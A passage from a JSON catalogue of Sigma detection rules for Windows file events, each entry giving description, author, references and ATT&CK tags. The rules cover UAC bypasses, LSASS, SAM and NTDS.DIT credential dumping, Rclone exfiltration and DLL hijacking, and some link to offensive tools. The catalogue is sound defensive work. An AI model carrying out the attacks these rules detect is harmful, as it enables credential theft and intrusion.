          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75",
      "value": "Startup Folder File Write"
    },
    {
      "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1",
      "value": "UAC Bypass Using NTFS Reparse Point - File"
    },
    {
      "description": "Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ntds_exfil_tools.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405",
          "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1",
          "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a",
      "value": "NTDS Exfiltration Filename Patterns"
    },
    {
      "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/12/07",
        "falsepositive": [
          "Administrative activity",
          "PowerShell scripts running as SYSTEM user"
        ],
        "filename": "file_event_win_susp_system_interactive_powershell.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2",
      "value": "Suspicious Interactive PowerShell as SYSTEM"
    },
    {
      "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/IDiagnosticProfileUAC",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec",
      "value": "UAC Bypass Using IDiagnostic Profile - File"
    },
    {
      "description": "Detects programs on a Windows system that should not write an archive to disk",
      "meta": {
        "author": "frack113, Florian Roth",
        "creation_date": "2022/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_legitimate_app_dropping_archive.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_archive.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26",
      "value": "Legitimate Application Dropped Archive"
    },
    {
      "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/07/03",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "file_event_win_susp_desktopimgdownldr_file.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/",
          "https://twitter.com/SBousseaden/status/1278977301745741825",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039",
      "value": "Suspicious Desktopimgdownldr Target File"
    },
    {
      "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_consent_comctl32.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789",
      "value": "UAC Bypass Using Consent and Comctl32 - File"
    },
    {
      "description": "Detects the creation of a new PowerShell module in the first folder of the module directory structure \"\\WindowsPowerShell\\Modules\\malware\\malware.psm1\". This is somewhat an uncommon practice as legitimate modules often includes a version folder.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/09",
        "falsepositive": [
          "False positive rate will vary depending on the environments. Additional filters might be required to make this logic usable in production."
        ],
        "filename": "file_event_win_powershell_module_susp_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_susp_creation.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "e8a52bbd-bced-459f-bd93-64db45ce7657",
      "value": "Potential Suspicious PowerShell Module File Created"
    },
    {
      "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Rare cases of administrative activity"
        ],
        "filename": "file_event_win_sam_dump.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/cube0x0/CVE-2021-36934",
          "https://github.com/HuskyHacks/ShadowSteal",
          "https://github.com/search?q=CVE-2021-36934",
          "https://www.google.com/search?q=%22reg.exe+save%22+sam",
          "https://github.com/FireFart/hivenightmare",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0",
      "value": "Potential SAM Database Dump"
    },
    {
      "description": "Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/05/09",
        "falsepositive": [
          "False positives will differ depending on the environment and scripts used. Apply additional filters accordingly."
        ],
        "filename": "file_event_win_powershell_drop_powershell.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_powershell.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "576426ad-0131-4001-ae01-be175da0c108",
      "value": "PowerShell Script Dropped Via PowerShell.EXE"
    },
    {
      "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_msconfig_gui.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f",
      "value": "UAC Bypass Using MSConfig Token Modification - File"
    },
    {
      "description": "Detects Rclone config files being created",
      "meta": {
        "author": "Aaron Greetham (@beardofbinary) - NCC Group",
        "creation_date": "2021/05/26",
        "falsepositive": [
          "Legitimate Rclone usage"
        ],
        "filename": "file_event_win_rclone_config_files.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_config_files.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db",
      "value": "Rclone Config File Creation"
    },
    {
      "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_access_susp_unattend_xml.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb",
      "value": "Suspicious Unattend.xml File Access"
    },
    {
      "description": "Detects the creation of new files with the \".evtx\" extension in non-common locations. Which could indicate tampering with default evtx locations in order to evade security controls",
      "meta": {
        "author": "D3F7A5105",
        "creation_date": "2023/01/02",
        "falsepositive": [
          "Administrator or backup activity"
        ],
        "filename": "file_event_win_create_evtx_non_common_locations.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "65236ec7-ace0-4f0c-82fd-737b04fd4dcb",
      "value": "EVTX Created In Uncommon Location"
    },
    {
      "description": "Detects the creation of the LiveKD driver, which is used for live kernel debugging",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/16",
        "falsepositive": [
          "Legitimate usage of LiveKD for debugging purposes will also trigger this"
        ],
        "filename": "file_event_win_sysinternals_livekd_driver.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "16fe46bb-4f64-46aa-817d-ff7bec4a2352",
      "value": "LiveKD Driver Creation"
    },
    {
      "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_winsat.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8",
      "value": "UAC Bypass Abusing Winsat Path Parsing - File"
    },
    {
      "description": "Detects creation of files with the \".pub\" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Legitimate usage of \".pub\" files from those locations"
        ],
        "filename": "file_event_win_office_publisher_files_in_susp_locations.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/EmericNasi/status/1623224526220804098",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_publisher_files_in_susp_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "3d2a2d59-929c-4b78-8c1a-145dfe9e07b1",
      "value": "Publisher Attachment File Dropped In Suspicious Location"
    },
    {
      "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_ieinstal.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb",
      "value": "UAC Bypass Using IEInstal - File"
    },
    {
      "description": "Detects the creation of new DLL assembly files by \"aspnet_compiler.exe\", which could be a sign of \"aspnet_compiler\" abuse to proxy execution through a build provider.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/14",
        "falsepositive": [
          "Legitimate assembly compilation using a build provider"
        ],
        "filename": "file_event_win_aspnet_temp_files.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_aspnet_temp_files.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "4c7f49ee-2638-43bb-b85b-ce676c30b260",
      "value": "Assembly DLL Creation Via AspNetCompiler"
    },
    {
      "description": "Detects default PsExec service filename which indicates PsExec service installation and execution",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/06/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_sysinternals_psexec_service.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.jpcert.or.jp/english/pub/sr/ir_research.html",
          "https://jpcertcc.github.io/ToolAnalysisResultSheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d",
      "value": "PsExec Service File Creation"
    },
    {
      "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.",
      "meta": {
        "author": "Tim Rauch (rule), Elastic (idea)",
        "creation_date": "2022/10/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc",
          "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml"
        ],
        "tags": [
          "attack.t1566",
          "attack.t1566.001",
          "attack.initial_access",
          "attack.t1574",
          "attack.t1574.001",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c",
      "value": "Potential Initial Access via DLL Search Order Hijacking"
    },
    {
      "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_colorcpl.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/eral4m/status/1480468728324231172?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564"
        ]
      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18",
      "value": "Suspicious Creation with Colorcpl"
    },
    {
      "description": "Detects the creation of files with an executable or script extension by an Office application.",
      "meta": {
        "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_office_susp_file_extension.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml",
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_susp_file_extension.yml"
        ],
        "tags": [
          "attack.t1204.002",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4",
      "value": "File With Uncommon Extension Created By An Office Application"
    },
    {
      "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/02/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_tsclient_filewrite_startup.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "52753ea4-b3a0-4365-910d-36cff487b789",
      "value": "Hijack Legit RDP Session to Move Laterally"
    },
    {
      "description": "Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_recycle_bin_fake_exec.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets",
          "https://unit42.paloaltonetworks.com/cloaked-ursa-phishing/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_recycle_bin_fake_exec.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion"
        ]
      },
      "uuid": "cd8b36ac-8e4a-4c2f-a402-a29b8fbd5bca",
      "value": "Suspicious File Creation Activity From Fake Recycle.Bin Folder"
    },
    {
      "description": "Detects the creation of an \"lsass.dmp\" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/10/19",
        "falsepositive": [
          "Rare case of troubleshooting by an administrator or support that has to be investigated regardless"
        ],
        "filename": "file_event_win_taskmgr_lsass_dump.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1003.001/T1003.001.md#L1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "69ca12af-119d-44ed-b50f-a47af0ebc364",
      "value": "LSASS Process Memory Dump Creation Via Taskmgr.EXE"
    },
    {
      "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ntds_dit_creation.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0b8baa3f-575c-46ee-8715-d6f28cc7d33c",
      "value": "NTDS.DIT Created"
    },
    {
      "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/10",
        "falsepositive": [
          "Possible FPs during first installation of Notepad++",
          "Legitimate use of custom plugins by users in order to enhance notepad++ functionalities"
        ],
        "filename": "file_event_win_notepad_plus_plus_persistence.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692",
      "value": "Potential Persistence Via Notepad++ Plugins"
    },
    {
      "description": "Detects default lsass dump filename from SafetyKatz",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2018/07/24",
        "falsepositive": [
          "Rare legitimate files with similar filename structure"
        ],
        "filename": "file_event_win_hktl_safetykatz.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63",
          "https://github.com/GhostPack/SafetyKatz",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_safetykatz.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e074832a-eada-4fd7-94a1-10642b130e16",
      "value": "SafetyKatz Default Dump Filename"
    },
    {
      "description": "Detects Windows executables that writes files with suspicious extensions",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
